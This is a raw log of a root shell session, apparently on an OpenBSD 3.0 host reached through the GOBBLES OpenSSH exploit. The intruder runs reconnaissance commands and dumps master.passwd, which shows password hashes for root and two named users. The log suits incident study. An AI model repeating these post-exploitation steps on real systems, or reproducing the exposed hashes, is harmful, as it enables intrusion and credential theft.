SSH-1.99-OpenSSH_3.0 SSH-2.0-GOBBLES GGGGO*GOBBLE* uname -a;id OpenBSD pufferfish 3.0 GENERIC#94 i386 uid=0(root) gid=0(wheel) groups=0(wheel) whereis tcsh cd /sbin ls ancontrol atactl badsect brconfig ccdconfig chown clri dhclient dhclient-script disklabel dmesg dump dumpfs fdisk fsck fsck_ext2fs fsck_ffs fsck_msdos fsdb fsirand halt ifconfig init iopctl ipsecadm isakmpd kbd ldconfig lmccontrol mkfifo mknod modload modunload mount mount_ados mount_cd9660 mount_ext2fs mount_fdesc mount_ffs mount_kernfs mount_mfs mount_msdos mount_nfs mount_null mount_portal mount_procfs mount_tcfs mount_umap mount_union mount_xfs mountd ncheck ncheck_ffs newfs newfs_msdos nfsd nologin pfctl pflogd photurisd ping ping6 quotacheck raidctl rdump reboot restore route routed rrestore rtquery rtsol savecore scan_ffs scsi shutdown slattach startkey swapctl swapon sysctl tbrconfig ttyflags tunefs umount wicontrol wsconsctl netstat Active Internet connections Proto Recv-Q Send-Q Local Address Foreign Address (state) tcp 0 0 192.168.3.100.ssh Hacker2..10575 ESTABLISHED tcp 0 0 192.168.3.100.ssh Hacker1..64864 ESTABLISHED tcp 0 0 localhost.submissi *.* LISTEN tcp 0 0 localhost.smtp *.* LISTEN tcp 0 0 localhost.sunrpc *.* LISTEN udp 0 0 localhost.sunrpc *.* tcp6 0 0 ::1.submissi *.* LISTEN tcp6 0 0 ::1.smtp *.* LISTEN Active UNIX domain sockets Address Type Recv-Q Send-Q Inode Conn Refs Nextref Addr 0xe0b0b700 dgram 0 0 0x0 0xe0a97040 0x0 0xe0af4300 0xe0afc000 dgram 0 0 0x0 0xe0a97040 0x0 0xe0af43c0 0xe0ae1f00 dgram 0 0 0x0 0xe0a97040 0x0 0xe0a58280 0xe0add800 dgram 0 0 0x0 0xe0a97040 0x0 0x0 0xe0ace500 dgram 0 0 0xefb43dd4 0x0 0xe0b09fc0 0x0 /dev/log cd /etc ls X11 adduser.conf adduser.message afs amd bootptab ccd.conf changelist csh.cshrc csh.login csh.logout daily dhclient.conf dhcpd.conf dhcpd.interfaces disklabels disktab dm.conf dumpdates exports fbtab fstab ftpchroot ftpusers gettytab group group.bak hostname.xl0 hosts hosts.equiv hosts.lpd inetd.conf isakmpd kerberosIV kerberosV ksh.kshrc localtime locate.rc login.conf lynx.cfg magic mail mail.rc mailer.conf man.conf master.passwd moduli monthly motd mrouted.conf mtree mygate myname nat.conf netstart networks newsyslog.conf passwd pf.conf phones photuris portal.conf ppp printcap protocols pwd.db rbootd.conf rc rc.conf rc.local rc.securelevel rc.shutdown remote resolv.conf rmt rpc screenrc security services shells skel skeykeys sliphome spwd.db ssh_config ssh_host_dsa_key ssh_host_dsa_key.pub ssh_host_key ssh_host_key.pub ssh_host_rsa_key ssh_host_rsa_key.pub sshd_config ssl sudoers sysctl.conf syslog.conf tcfs termcap ttys weekly wsconsctl.conf cat master.passwd root:$2a$07$Y1LorUCUzoWm94q9RG9hjuxdrUshom7JOMQ8HeiEisYuI7K66DF52:0:0:daemon:0:0:Charlie &:/root:/bin/csh daemon:*:1:1::0:0:The devil himself:/root:/sbin/nologin operator:*:2:5::0:0:System &:/operator:/sbin/nologin bin:*:3:7::0:0:Binaries Commands and Source,,,:/:/sbin/nologin smmsp:*:25:25::0:0:Sendmail Message Submission Program:/nonexistent:/sbin/nologin popa3d:*:26:26::0:0:POP3 server:/var/empty:/sbin/nologin uucp:*:66:1::0:0:UNIX-to-UNIX Copy:/var/spool/uucppublic:/usr/libexec/uucp/uucico www:*:67:67::0:0:HTTP server:/var/www:/sbin/nologin named:*:70:70::0:0:BIND Name Service Daemon:/var/named:/sbin/nologin proxy:*:71:71::0:0:Proxy Services:/nonexistent:/sbin/nologin nobody:*:32767:32767::0:0:Unprivileged user:/nonexistent:/sbin/nologin michael:$2a$07$JTDeh0gMhL2QardsgQ19ju0pouC9yRwc6cLA1aQx4uwvDpET77H7G:1000:1000::0:0:Michael:/home/michael:/usr/bin/bash megla:$2a$07$fpJb.MzAYG5.N8RfQoHsZeuk5IFTAZL3dwigfZhM8QKIhVo0i4mV6:1001:1001::0:0:Megan:/home/megla:/usr/bin/bash /usr/bin/bash